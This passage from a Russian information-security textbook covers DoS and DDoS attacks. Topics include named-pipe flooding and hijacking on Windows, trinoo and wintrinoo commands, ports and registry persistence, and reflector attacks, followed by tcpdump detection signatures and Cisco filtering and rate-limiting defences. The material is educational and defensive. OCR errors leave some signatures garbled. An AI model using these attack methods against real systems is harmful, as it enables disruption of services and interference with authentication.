ReadFile и WriteFile. Все, что один участник информационного обмена записывает в канал функцией WriteFile, может быть прочтено другим участником посредством вызова функции ReadFile. Клиент может отключиться от канала в любой момент с помощью функции CloseHandle. Сервер может отключить
4. Атаки на открытые системы
299
клиента в любой момент с помощью функции DisconnectNamedPipe. После прекращения связи с клиентом сервер может повторно использовать канал с помощью повторного вызова функции ConnectNamedPipe. С помощью одного и того же канала сервер может одновременно обслуживать нескольких клиентов. Для этого сервер должен создать несколько экземпляров канала, вызвав функцию CreateNamedPipe нужное количество раз, при этом в каждом вызове CreateNamedPipe должно быть указано одно и то же имя канала. Если канал имеет несколько экземпляров, клиент может быть подключен к любому свободному (не занятому другим клиентом) экземпляру этого канала. Клиент всегда подключается к тому экземпляру канала, который был создан или освобожден раньше других.
Пусть некий процесс создал экземпляр некоторого канала. Другой процесс пытается создать экземпляр того же самого канала, вызывая CreateNamedPipe с тем же именем создаваемого канала. Второй экземпляр канала будет успешно создан. Более того, если второй процесс вызовет теперь ConnectNamedPipe, экземпляр канала, созданный вторым процессом, сможет обслуживать клиентов. В системе появляются два объекта, имеющие одинаковое имя, но обслуживаемые разными процессами. Когда клиент подключается к каналу, ОС предоставляет ему первый экземпляр, поскольку он был создан раньше. Но когда к тому же каналу захочет подключиться другой клиент, он будет подключен ко второму экземпляру. При этом клиент никакими средствами не сможет определить, какой процесс обслуживает его запрос. Особенно интересно, что процессы могут быть запущены разными пользователями. Например, пользователь guest, локально работающий с контроллером домена, может создать экземпляр канала Isass, и, дождавшись подключения клиента, вмешаться в процедуру сетевой аутентификации пользователя. Эксперименты показывают, что любой канал, даже системный и такой важный, как Isass, может быть открыт любым пользователем. Все, что требуется от пользователя, - это аутентифицироваться под любым именем на компьютере, на котором выполняется процесс, обслуживающий данный канал.
Что случится, если обычная прикладная программа, запущенная обычным пользователем, начнет в вечном цикле открывать на запись все новые и новые экземпляры некоторого системного канала и записывать в них огромные объемы заведомо бессмысленной информации? Один из возможных вариантов развития событий заключается в том, что через короткий промежуток времени все свободные экземпляры канала будут заняты и сетевая служба, использующая атакуемый канал, будет отключена. Однако более вероятна другая картина [70]. Обычно, когда процесс-сервер понимает, что все экземпляры его канала заняты, этот процесс начинает создавать новые экземпляры канала. Таким образом, чем больше экземпляров канала открывает процесс-клиент, тем больше экземпляров канала создает процесс-сервер. Как правило, каждый экземпляр канала обслуживается отдельным потоком. Буферы для хранения информации, передаваемой по каналу, занимают оперативную память. По мере того как процесс-клиент открывает новые экземпляры канала, процесс-сервер создает новые потоки. Когда процесс-клиент записывает в открытые им экземпляры канала бессмысленную информацию, эта информация передается процессу-серверу и засоряет его адресное пространство. Все перечисленные эффекты приводят к тому, что загрузка процессора компьютера, на котором выполняется процесс-сервер, стабильно держится на уровне 100 % (при этом около 90 % времени процессор обслуживает процессы с базовым приоритетом High), а объем свободной оперативной памяти этого компьютера уменьшается со скоростью от 1 до 3 Мбайт/с. Когда и физическая и виртуальная память компьютера переполняются и начинается рост файла виртуальной памяти, эта скорость несколько уменьшается. Уже через минуту атакованный
300
Информационная безопасность открытых систем
компьютер становится практически неработоспособен (окно Explorer прорисовывается несколько минут), а через 5-10 мин перегруженность ОС достигает такой степени, что команда Shutdown выполняется 3-6 ч.
cbcb.c (Cancelbot). Представляет собой утилиту на языке С, поражающую выбранные пользователем телеконференции (Usenet news).
DoS. Это активное, безусловное, однонаправленное воздействие, осуществляемое с целью нарушения работоспособности системы как межсегментно, так и внутрисег-ментно на транспортном и прикладном уровнях модели OSI (см. рис. 40).
Соответствие между пакетами (сообщениями), которые могут быть использованы при атаке, и ответами на них приведено в табл. 4.
Таблица 4. Соответствие ответов "жертвы” пакетам, посылаемым атакующим
Посланный пакет	Ответ от "жертвы"
TCP SYN (на открытый порт)	TCP SYN/ACK
TCP SYN (на закрытый порт)	TCP RST(ACK)
TCP АСК	TCP RST(ACK)
TCP DATA	TCP RST(ACK)
TCP RST	Нет ответа
ICMP Echo Request	ICMP Echo Reply
UDP (на открытый порт)	Зависит от протокола
UDP (на закрытый порт)	ICMP Port Unreachable
Рассмотрим распределение атак по используемым сервисам. Как показывает анализ состоявшихся DoS-атак, в большинстве из них применялось несколько портов. Это объясняется тем, что многие используемые программы выбирают порты случайно (среди портов с номерами более 1024). Среди атак, использующих только определенные порты, наиболее популярны были атаки на порты 6667 (IRC), 80 (HTTP), 113 (Authentication) и 23 (Telnet).
Что касается длительности атак, то атаки длительностью 3, 5, 10, 20 и 30 мин наиболее распространены.
В обнаружении DoS-атак может помочь сниффер типа tcpdump. С его помощью можно искать признаки, или сигнатуры, атак. Для этого указывается некое значимое поле в IP-дейтаграмме. Перейдем к примерам.
Как уже указывалось, для атак типа smurf используются широковещательные адреса. Следовательно, для обнаружения атаки такого типа датчик должен анализировать IP-адрес назначения. В IP-пакете он указывается в байтах 16-19. У всех широковещательных адресов последний байт равен либо Oxff, либо 0x00. Команда активизации датчика следующая:
# tcpdump 'ip[19]=0xf f or ip[19]=0x00'
Другим часто применяемым ходом в атаках является использование фрагментов. Признак наличия следующего фрагмента находится в 3-м бите 6-го байта заголовка IP. Датчик, позволяющий отследить фрагменты, выглядит так:
# tcpdump 'ip[6J & 0x20 = 32'
Для обнаружения пакетов, характерных для атаки syn-flood, поможет флаг SYN. Флаги TCP-пакета находятся в 13-м байте. Следовательно, нужный датчик это # tcpdump 'tcp[13] & Oxff = 2'
4. Атаки на открытые системы
301
Полезен датчик на обнаружение активности Back Orifice:
#	tcpdump 'udp and dst port 31337'
Огромную роль в атаках на компьютерные сети играет разведка. Наиболее часто применяемые типы разведок - это сканирование. Хотя поток пакетов при зондировании не такой интенсивный, как при атаках, обнаружение разведывательных сканирований не менее, а быть может, и более важно, чем обнаружение атак. Рассмотрим датчики, которые помогут обнаружить некоторые распространенные типы сканирований. Для обнаружения сканирования с установленными флагами SYN/FIN подойдет датчик
#	tcpdump 'ip[13] & Oxf f = 3'
Другой тип сканирования использует в пакетах установленный флаг reset.
#	tcpdump 'ip[13] & Oxf f = 4'
Есть особая разновидность DoS-атак - распределенная атака "отказ в обслуживании" (DDoS, Distributed DoS). В общем случае она осуществляется следующим образом:
	атакующий компрометирует несколько "рабов" (slaves), или "зомби"; вместе они образуют сеть, называемую botnet;
	устанавливает на них ПО, которое будет впоследствии осуществлять "шторм" сообщениями;
	соединяется с ними и объединяет их возможности в единый "шторм" сообщениями [71].
Использование большого количества рабов не только увеличивает мощь атаки, но и значительно усложняет защиту от нее: наличие нескольких источников направленного "шторма" значительно усложняет задачу блокирования ложного трафика и уменьшает эффективность методик обратного отслеживания (tracing back), применяемых для определения действительного адреса источника сообщений.
Осуществление этой атаки схематично представлено на рис. 42: с атакующей системы посылаются управляющие сообщения предварительно скомпрометированным рабам. Рабы генерируют трафик определенного вида "жертве", подменяя адрес источника с тем, чтобы жертва не могла их отследить.
Рис. 42. Распределенная атака "отказ в обслуживании"
Проблема обратного отслеживания потоков пакетов с ложными адресами источников привлекает большое внимание. В предложенной Белловином (Bellovin) схеме ITRACE [72] маршрутизаторы посылают ICMP-сообщения по адресам назначения,
302
Информационная безопасность открытых систем
которые они "вынимают" из получаемых пакетов. В случае потока пакетов большого объема жертва в конечном итоге получит ICMP-сообщения ото всех ITRACE-маршрутизаторов по маршруту от раба до жертвы и таким образом обнаружит действительный адрес раба. В другой схеме [73] маршрутизаторы помечают обрабатываемые ими пакеты, добавляя информацию, которую жертва может декодировать, и тем самым получить действительный адрес источника. По сравнению с предыдущим случаем данная схема позволяет отследить поток значительно меньшего объема, однако с увеличением количества рабов резко возрастает и количество вычислений. В третьей схеме SPIE (Source Path Isolation Engine) маршрутизаторы запоминают вычисленные для проходящих через них пакетов хеш-значения [71]. Жертва может определить нахождение источника, посылая запросы на соответствующие хеш-значения маршрутизаторам своего домена, однако эти запросы должны посылаться в течение небольшого промежутка времени после получения пакета, пока данные о нем еще доступны. Преимущество SPIE перед ITRACE и схемами с вероятностной пометкой пакетов заключается в том, что она позволяет отследить даже очень небольшой трафик.
Использование сотен и тысяч рабов может не только значительно усложнить задачу обратного отслеживания (так как возникают большие трудности, связанные с разделением информации, относящейся к разным источникам, а также необходимостью обращения за ней к тысячам маршрутизаторов), но и серьезно затруднить защиту в случае удачного отслеживания (потому что необходимо установить сотни фильтров и/или обратиться к сотне администраторов).
Есть разновидность атаки DDoS - с отражателями (reflectors). Использование отражателей значительно увеличивает возможности атакующих и увеличивает опасность атаки [74]. Отражатель - любой IP-хост, посыпающий ответы при получении запросов. Таким образом, веб-серверы, DNS-серверы и маршрутизаторы могут служить в качестве отражателей, так как все они возвращают пакеты SYN/ACK или RST (сброс) в ответ на получение SYN- или других TCP-пакетов. Сначала атакующий находит очень большое число отражателей. Затем он координирует рабов посылать трафик отражателям от имени жертвы. Отражатели, в свою очередь, посылают ответы жертве. Осуществление этой атаки схематично показано на рис. 43.
Заметим, что жертве не требуется прилагать абсолютно никаких усилий, чтобы определить местоположение отражателей, так как их адреса указаны в качестве адреса источника в получаемых жертвой пакетах. Администратор отражателя, с другой стороны, не может легко определить адрес зомби, так как в приходящих к нему пакетах с адресом источника появляется адрес жертвы.
Вообще говоря, с целью определения адресов рабов администратор отражателя может использовать схемы обратного отслеживания. Однако заметим, что отражатели посылают жертве трафик гораздо меньшей интенсивности, чем это делали бы рабы при непосредственной атаке на жертву. Это происходит потому, что каждый раб может использовать в течение атаки некоторое подмножество отражателей. Если, например, имеем Ns рабов, NR отражателей, и каждый раб генерирует трафик интенсивности F, то интенсивность трафика, генерируемого каждым отражателем, будет
равна F1 =	* F. Исходя из этого механизмы защиты, предназначенные для авто-
4. Атаки на открытые системы
303
магического обнаружения попыток "шторма”, могут в данной ситуации оказаться бесполезными, если они обнаруживают только трафик достаточно большого объема и интенсивности.
Рис. 43. DDoS-атака с использованием отражателей
Таким образом, методы обратного отслеживания, основанные на прохождении трафика большого объема, такие как ITRACE или схемы вероятностной пометки пакетов, не помогут в определении местоположения отдельных рабов, посылающих пакеты отражателям. В случае использования NR отражателей потребуется в NR раз больше времени для отслеживания такого же количества пакетов, если бы они посылались непосредственно жертве. Даже если отражателей будет столько же, сколько рабов или несколько меньше, их использование обеспечивает для атакующего хорошую защиту от таких видов схем обратного отслеживания. В случае применения схем отслеживания, действующих и в условиях трафика небольшого объема, ситуация кардинально меняется. Использование отражателей не приносит атакующему никаких дополнительных преимуществ (с точки зрения защиты от отслеживания). Даже наоборот, ему следует уменьшить подмножество отражателей, используемых каждым рабом, с тем, чтобы администратор какого-либо одного отражателя не смог путем обратного отслеживания, сразу определить большое число рабов.
Для случаев проведения атак с отражателями Баррос предложил улучшенный вариант схемы ITRACE - reverse ITRACE [75]. Суть метода такова: ITRACE-маршрутизаторы с некоторой вероятностью посылают ICMP-сообщения по адресу источника только что полученного ими пакета, а не по адресу назначения, как в схеме ITRACE. Эффект заключается в том, что если раб генерирует трафик от имени жертвы, то мар-
304
Информационная безопасность открытых систем
маршрутизаторы по маршруту "раб - отражатель" будут отправлять ICMP-сообщения жертве, позволяя ей определить адрес раба.
Еще одной отличительной особенностью данной атаки является то, что отражатели не являются усилителями, т. е. они не увеличивают интенсивности проходящего через них трафика. В некоторых случаях они даже могут несколько уменьшать объем трафика и при этом эффективно справляться со своими задачами. Отсутствие ограничений на увеличение объема трафика позволяет большому числу различных сетевых механизмов служить отражателями и облегчает атакующему задачу нахождения отражателей для использования в атаке.
DDoS-нападение распознать просто - замедление работы сети и серверов заметно как администратору системы, так и обычному пользователю.
Известно несколько средств реализации DDoS-атак. Это trinoo (или иначе trinOO) и Tribal Flood Network (TFN) для Unix-платформ, Stacheldraht (пер. с нем. - "колючая проволока"), wintrinoo для Windows-платформ, TFN2K для Unix и Windows NT (использует при бомбардировке сети шифрование для своего эффективного сокрытия). Именно с помощью этих программ в середине февраля 2000 г. были атакованы вебузлы известных Интернет-представительств электронной коммерции Amazon, CNN, E*Trade, Yahoo и eBay. Атаки сводились ко взлому сразу нескольких хостов, которые затем работали как зомби, запускающие новую DoS-атаку, т. е. становились подчиненными серверами для так называемого мастер-сервера со специально установленным кодом. Таким образом, получалась цепочка порождения последующих взломов с ранее скомпрометированных хостов [с подробностями можно ознакомиться в документе CERT "Incident Note 99-07. Distributed Denial of Service Tools (Nov 18, 1999)" по адресу http://www.cert.org/incident_notes/IN-99-07.html (April 18, 2000) или в статье Гари Флинна "DDos Attacks" по адресу http://www.jmu.edu/info-security/engineering/ issues/Ddos.htm (April 18, 2000)]. По команде подчиненные серверы (зомби или рефлекторы) наводняют узлы-жертвы мусорным трафиком. Бомбардировка узла-жертвы трафиком с сотен подчиненных серверов приводит к перегрузке системы и зачастую к блокировке канала передачи данных.
При распределенной атаке типа SYN flooding злоумышленник получает контроль над несколькими серверами в Интернете и дает им команду связаться с веб-сервером жертвы. Подчиненные серверы начинают отправлять SYN-пакеты (запросы на синхронизацию и инициализацию сеанса связи) TCP/IP с фиктивными IP-адресами на сервер назначения. На каждый из входящих SYN-пакетов сервер отвечает пакетом SYN АСК (подтверждение синхронизации), пытаясь установить связь с фиктивным IP-адресом. Сервер сохраняет каждый из полученных SYN-запросов в ожидании запроса и в конце концов оказывается переполненным.
Распределенная ICMP-атака такова. Злоумышленник дает подчиненным серверам команду отправить тестовые пакеты с подставным IP-адресом, соответствующим адресу сервера-жертвы, на "отражающий" узел Интернет-провайдера. Серверы на этом узле получают множественные запросы с подставным адресом и все разом отвечают отправкой пакетов на узел-жертву. Маршрутизатор узла-жертвы наводняется пакетами с отражающего узла, и для нормального трафика не остается полосы пропускания.
Суть атаки trinoo - "наводнение" серверов UDP-пакетами, присланными с тысячи хостов. Адреса источников не подменялись, поэтому соединения с системами, где были запущены реализующие атаку средства (демоны), устанавливались без про
4. Атаки на открытые системы
305
блем. В ответ на установление соединения подключалась новая машина с демоном. Впервые trinoo был обнаружен как двоичный демон во взломанных системах с Solaris 2.x. После предварительного сканирования хоста через 1524-й порт на наличие соответствующих уязвимостей (обнаружения в системе возможности переполнения буфера в сервисах удаленного выполнения (RPC) statd, cmsd и ttdbserverd) вводился вредоносный код.
Распознать trinoo можно в мастер-системах и зомби, если злоумышленниками не установлены соответствующие средства сокрытия следов атаки. Команда "netstat -a inet" покажет, что ТСР-порт 27665 и UDP-порт 27444 открыты на мастер-системе, а UDP-порт 31335 открыт на зомби.
Атакующий может посылать следующие команды мастер-системе:
quit - выключить мастер;
dos ЕР - запустить DDoS-атаку по указанному IP-адресу;
mdos <IP1:IP2:IP3> - запустить сразу по нескольким адресам DDoS-атаку;
beast - создать список зомби, которые начнут работать.
Мастера могут посылать команды зомби:
ааа password ЕР - начало атаки для IP-адреса посредством посылки UDP-пакетов в любой (от 0 до 65534) UDP-порт;
bbb password N - период времени в секундах для запуска атаки;
rsz N - установать размер UDP-пакетов в N байт;
die - завершить работу зомби.
Программа wintrinoo может быть запущена как приложение к электронному сообщению, как макрос к документу или через Back Orifice. После этого service.exe инсталлирует свою копию в \windows\system и добавляет в регистр команду, приводящую к перезапуску системы. Признак этого - наличие строки
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
Измененный service.exe имеет размер около 23 Кбайт и работает на ОС Windows NT4/95/98. В отличие от демона trinoo он слушает мастеров на UDP-порте 34555 и передает им информацию на UDP-порте 35555. Как и trinoo, этот демон можно обнаружить командой netstat -ап.
В настоящее время появляется много реальных предложений по организации защиты от DDoS-атак, некоторые из которых можно реализовать уже сегодня, а часть потребует длительных разработок. Действенными являются те, которые используют механизмы фильтрации и средства ограничения скорости передачи на маршрутизаторах. Есть ряд предложений по использованию динамических адаптивных программ - это компоненты Cisco IOS, позволяющие устанавливать ограничения на процентные доли различных видов трафика и типы передаваемых пакетов. С помощью подобных программ можно ограничить, например поступление пакетов ICMP в интранет. Создаются средства идентификации хостов, предотвращающие атаки, связанные с захватом ресурсов. Ведутся работы по расширению возможностей маршрутизаторов по мониторингу пакетов для определения их источников.
Теперь дадим ряд замечаний по защите и предотвращению DDoS-атак. Первым делом нужно идентифицировать тип трафика, который загружает сеть. В большинстве DDoS-атак посылает очень определенный тип ICMP, UDP, TCP, часто с поддельными IP-адресами. Нападение обычно характеризует необычно большое количество
306
Информационная безопасность открытых систем
пакетов некоторого типа. Исключением из этого правила являются DDoS-нападения, направленные против определенных служб, типа HTTP, используя допустимый трафик и запросы. Для идентификации пакетов анализируется сетевой трафик. Это можно сделать двумя различными методами в зависимости от того, где исследуется трафик. Первый метод может использоваться на машине, которая расположена в атакуемой сети и на которую устанавливается сниффер типа tcpdump. Анализ трафика в реальном масштабе времени невозможен на перегруженной сети, поэтому рекомендуется использовать опцию -w для записи данных в файл. Затем, используя утилиты типа tcpdstat или tcptrace, анализируются результаты и определяется тип преобладающего трафика в сети. Пример работы tcpdstat приведен ниже [http://www.netse-curity .г2 ,ru/docs/dos_safe .html].
DumpFile: test
FileSize: 0.01MB
Id: 200212270001
StartTime: Fri Jul 29 00:01:51 2005
EndTime: Fri Jul 29 00:02:15 2005
TotalTime: 23.52 seconds
TotalCapSize: 0.01MB CapLen: 96 bytes
#	of packets: 147 (12.47KB)
AvgRate: 5.56Kbps stddev:5.40K PeakRate: 25.67Kbps
#	## IP flow (unique src/dst pair) Information ###
#	of flows: 9 (avg. 16.33 pkts/flow)
Top 10 big flow size (bytes/total in %):
26.6% 16.5% 14.7% 11.6% 9.8% 7.6% 5.4% 5.4% 2.5%
### IP address Information ###
# of IPv4 addresses: 7
Top 10 bandwidth usage (bytes/total in %):
97.5% 34.1% 31.2% 21.4% 10.7% 2.5% 2.5%
### Packet Size Distribution (including MAC headers) ###
[32-63]:	79
[64-127]:	53 [128-255]:	8 [256-511]:	6 [512-1023]:	1 ### Protocol Breakdown ### protocol	packets bytes	bytes/pkt	
[0] total	147(100.00%)	12769(100.00%) 86.86
[1]ip	147 (100.00%)	12769 (100.00%) 86.86
[2] tcp	107(72.79%)	6724(52.66%)	62.84
[3] telnet	66(44.90%)	3988(31.23%)	60.42
И pop3	41 (27.89%)	2736(21.43%)	66.73
И udp	26(17.69%)	4673(36.60%) 179.73
[3] dns	24(16.33%)	4360(34.15%) 181.67
[3] other	2 (1.36%)	313 (2.45%)	156.50
[2] icmp	14(9.52%)	1372(10.74%)	98.00
Второй	подход - для контроля входящего трафика использовать маршрутизатор.
Его списки ограничения доступа могут служить основным пакетным фильтром. Иллюстрацией является пример от Cisco.
4. Атаки на открытые системы
307
access-list 169 permit icmp any any echo
access-list 169 permit icmp any any echo-reply
access-list 169 permit udp any any eq echo access-list 169 permit udp any eq echo any access-list 169 permit tcp any any established access-list 169 permit tcp any any access-list 169 permit ip any any interface serial 0 ip access-group 169 in
Используя команду show access-list, система покажет количество совпавших пакетов для каждого типа трафика.
Extended IP access list 169
permit icmp any any echo (2 matches)
permit icmp any any echo-reply (21374 matches)
permit udp any any eq echo permit udp any eq echo any permit tcp any any established (150 matches) permit tcp any any (15 matches) permit ip any any (45 matches)
Видно, что в сети много ICMP echo-reply-пакетов. Подробная информация о подозреваемых пакетах может быть собрана добавлением команды log-input в конец специфического правила.
access-list 169 permit icmp any any echo-reply log-input
Маршрутизатор теперь более подробно регистрирует собранные данные (которые можно посмотреть посредством команды show log) о соответствующих пакетах. В примере файл регистрации показывает несколько пакетов, соответствующих правилу DENY ICMP.
%SEC-6-IPACCESSL0GDP: list 169 denied icmp 192.168.45.142 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.113 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.72 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 172.16.132.154 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.15 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.142 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 172.16.132.47 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.35 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.113 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 172.16.132.59 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.82 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.56 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 172.16.132.84 (SerialO *HDLC*) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.47 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.45.35 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSLOGDP: list 169 denied icmp 192.168.212.15 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet %SEC-6-IPACCESSL0GDP: list 169 denied icmp 172.16.132.33 (SerialO *HDLC‘) -> 10.2.3.7 (0/0), 1 packet
Далее можно попытаться "проследить" источник атаки. Однако DDoS в отличие от традиционного DoS исходит из множественных источников. Поэтому нужно попробовать определить транзитный маршрутизатор, через который проходит большинство пакетов. После этого может потребоваться определить следующий в цепоч
308
Информационная безопасность открытых систем
ке транзитный маршрутизатор. На каждом шаге создается список ограничений доступа. В конце процесса, когда источник атаки выявлен, можно создать фильтр, который заблокирует атакующего. Недостатки этого метода защиты от DDoS-нападения -время и сложность. Получение таких данных требует скоординированной работы нескольких сторон (чаще всего сервис-провайдеров).
Следующим шагом является ограничение допустимого предела для злонамеренного типа трафика, что ограничивает пропускную способность, которую этот тип трафика может потреблять в данный момент времени. Cisco предлагает способ, который позволяет ограничить ICMP-пакеты, используемые в нападении.
interface ху
rate-limit output access-group 2020 3000000 512000 786000 conform-action transmit exceed-action drop
access-list 2020 permit icmp any any echo-reply
Этот пример поднимает одну интересную проблему: нельзя просто защититься от таких типов хитрых DDoS-атак, не принося в жертву часть законного трафика.
Можно использовать и другие способы защиты, которые зависят от изменения маршрутизации. Важно отметить, что адресная фильтрация не лучший способ защиты против DDoS-атак. Лучше заблокировать трафик в вышестоящей цепочке.
Для предотвращения DDoS-атак также есть ряд рекомендаций. Нужно испльзо-вать команду ip verify unicast reverse-path (или ее эквивалент) для удаления поддельных пакетов. Дополнительно блокировать входящий трафик с исходными адресами из зарезервированных диапазонов (т. е. 192.168.0.0). Этот фильтр удалит пакеты, источники которых, очевидно, неправильны. Входящие и исходящие методы фильтрации особенно важны для предотвращения DDoS-атак. Фильтры, помещенные в граничные маршрутизаторы, гарантируют, что входящий трафик не имеет исходного адреса, происходящего из частной сети. Но еще более важно, что трафик на пересекающихся курсах действительно имеет адреса из внутренней сети.
Теперь рассмотрим возможные механизмы защиты от распределенной атаки "отказ в обслуживании" с использованием отражателей и их потенциальную применимость.
Угроза атаки значительно снижается, если у атакующего нет возможности использовать подмену адреса источника, например при употреблении отражателей с входной фильтрацией. Хотя опасность все равно остается, так как злоумышленник может применять в своих целях отражатели прикладного уровня, например, используя рекурсивные DNS-запросы или HTTP proxy-запросы. В любом случае, хотя атакующий и может применять отражатели даже при отсутствии возможности подмены адреса источника, жертва может гораздо быстрее определить местоположение рабов: если отражатели сохраняют информацию о получаемых ими запросах, эта информация укажет на расположение рабов.
Трафик, поступающий от отражателей, возможно, будет обладать определенной повторяемостью и семантической зависимостью. Тогда можно попробовать осуществить фильтрацию этого трафика.
Запросы, поступающие отражателям от рабов, также могут иметь повторяемость и смысловую зависимость. Поэтому возможна его фильтрация с целью предотвращения использования серверов в качестве отражателей.
4. Атаки на открытые системы
309
В принципе не исключена возможность применения механизмов обратного отслеживания, если реализация этих механизмов включена в ПО серверов, которые могли бы использоваться злоумышленниками в качестве отражателей. В этом случае можно осуществить обратное отслеживание через отражатели до рабов [74].
Изо всех приведенных способов защиты, наверное, только второй имеет потенциальную ценность. Первый метод применим только в очень узком смысле, при очень жестких предположениях, так как большинство атак осуществляется все же с использованием подмены адреса. Третий метод требует претворения в жизнь фильтрования практически во всем Интернете, что, наверное, при современной организации сети неосуществимо. Четвертый метод также предполагает значительные трудности при осуществлении. Так, необходимо централизованное внедрение средств обратного отслеживания в ПО конечных систем от большого количества различных производителей и собственно обновление ПО огромным количеством конечных систем, при том, что многие администраторы и так очень занятые люди. Кроме того, многие схемы обратного отслеживания (ITRACE, схемы с вероятностной пометкой пакетов) скорее всего не окажут серьезной помощи в отслеживании рабов. Второй метод более применим и во многих случаях возможно осуществить фильтрацию пакетов от отражателей без наложения серьезных ограничений на работу узла.
Попробуем оценить практичность метода защиты от распределенных атак с использованием отражателей на основе фильтрации определенных видов трафика.
Фильтрация IP-пакетов. Фильтрация, основанная на данных заголовка IP-пакета, вряд ли даст какие-либо ощутимые результаты.
Фильтрация ICMP-пакетов. Злоумышленник может применить два основных способа направить ICMP-ответы отражателя жертве: использование ICMP-пакетов запрос-ответ (ICMP echo) или атакующий посылает некорректные пакеты от имени жертвы, и это заставляет отражатель генерировать и отправлять жертве соответствующие ICMP-сообщения. В первом случае атакующий посылает отражателю ICMP-запросы от имени жертвы - Echo Request, Router Solicitation и др. В подавляющем большинстве случаев это запросы Echo Request и соответствующие ответы Echo Reply можно отфильтровывать без особых неудобств. Вторая категория включает в себя сообщения протокола ICMP об ошибках - unreachable, source quench, redirect, time exceeded, parameter problem. Для жертвы могут быть полезны сообщения о недостижимости (например, host unreachable), о необходимости фрагментации (need fragmentation) и об истечении лимита времени (time exceeded при использовании, например, утилиты traceout). Однако этим можно пожертвовать в целях обеспечения защиты и отфильтровывать ICMP-сообщения об ошибках.
Фильтрация TCP-пакетов. Рассмотрим типы TCP-пакетов, которые могут прийти от TCP-отражателя, с точки зрения возможности их фильтрации. Во многих случаях приходящие к жертве пакеты выглядят как пакеты, посланные истинным клиентом: SYN-пакеты для установления соединения, пакеты с данными, пакеты с подтверждением или FIN-пакеты. Заметим, что в пакетах, приходящих от отражателя, в качестве порта-источника указан порт, используемый отражателем. В частности, веб-серверы (наиболее удобны для применения в качестве отражателей) установят в данном поле значение 80. Таким образом, если жертва будет отфильтровывать все пакеты с портом источника 80, она значительно снизит вероятность атаки со стороны ТСР-отражателей. Конечно, в этом случае будет исключена возможность использования
310
Информационная безопасность открытых систем
этого сервиса и самой системой. Если отражатель не установил соединения с жертвой, то в ответ на запросы, исходящие как бы от жертвы, он может ответить только пакетами RST и SYN/АСК. Если жертва будет отфильтровывать RST-пакеты, она будет удерживать больше соединений, чем нужно и, в конечном итоге, возможно, из-за этого не сможет устанавливать новые соединения. Фильтрация SYN/ACK-пакетов приведет к потере возможности соединения с удаленным сервером с использованием протокола TCP. Во многих случаях подобные ограничения могут оказаться неприемлемыми. Таким образом, эффективная фильтрация TCP-пакетов в целях защиты от атак с использованием TCP-отражателей может быть осуществлена только в том случае, если можно позволить себе потерять доступ к удаленным систем и доставить некоторые неудобства законным пользователям.
Фильтрация UDP-пакетов. Так же, как и с TCP-пакетами, возможна фильтрация по полю "порт источника" в заголовке пакета.
Фильтрация DNS-сообщений. DNS-серверы предоставляют две возможности для отражения. Первая заключается в том, что отражатель просто посылает DNS-ответ на соответствующий DNS-запрос, предположительно от жертвы; при этом ответ приходит с номером порта источника 53. Следовательно, жертва может избавиться от этой угрозы, отфильтровывая пакеты с номером порта источника 53, правда при этом сама лишаясь возможности пользоваться услугами внешнего DNS-сервера. Кроме того, многие DNS-запросы также используют значение 53 в качестве порта-источника, и, если жертва представляет собой DNS-сервер, подобные запросы не будут обработаны. От этого, правда, легко можно избавиться, введя дополнительное фильтрование на бит QR в заголовке сообщения DNS. Вторая возможность заключается в использовании DNS-серверов, поддерживающих рекурсивные DNS-запросы (очень многие серверы действительно поддерживают механизм рекурсивных DNS-запросов). Предположим, что жертва является авторитетным сервером имен для определенной зоны. В этом случае атака заключается в посылке большого количества DNS-запросов DNS-серверам, поддерживающим рекурсивные запросы, которые, в свою очередь, будут посылать запросы жертве. В этом случае даже не требуется подменять адрес источника. Единственное решение этой проблемы, кажется, заключается в фильтровании рекурсивных запросов таким образом, чтобы обрабатывались запросы, приходящие только из локальной сети.
Для Unix-систем можно дать следующие конкретные рекомендации для защиты от DDoS-атак:
	ограничить доступ в сеть и контролировать его, например, с помощью программ типа TCP-wrappers;
	использовать средства проверки целостности файловой системы типа Tripwire;
	применять программы для обнаружения DDoS-атак (их можно взять по адресам http://www.fbi.gov/nipc/trinoo.htm для Sun и Linux и http://www.theorygroup.com/ Software/RID для всех Unix-платформ).
Рекомендации для Windows-платформ таковы:
	использовать антивирусы и средства обнаружения "троянских коней" (например, BOClean);
	устанавливать МЭ;
	применять средства обнаружения wintrinoo типа Wtrinscan.exe [http://www.jmu. edu/info-security/engineering/tools/wtrinscan.exe].
4. Атаки на открытые системы
311
4.1.5. Удаленный контроль над станцией в сети
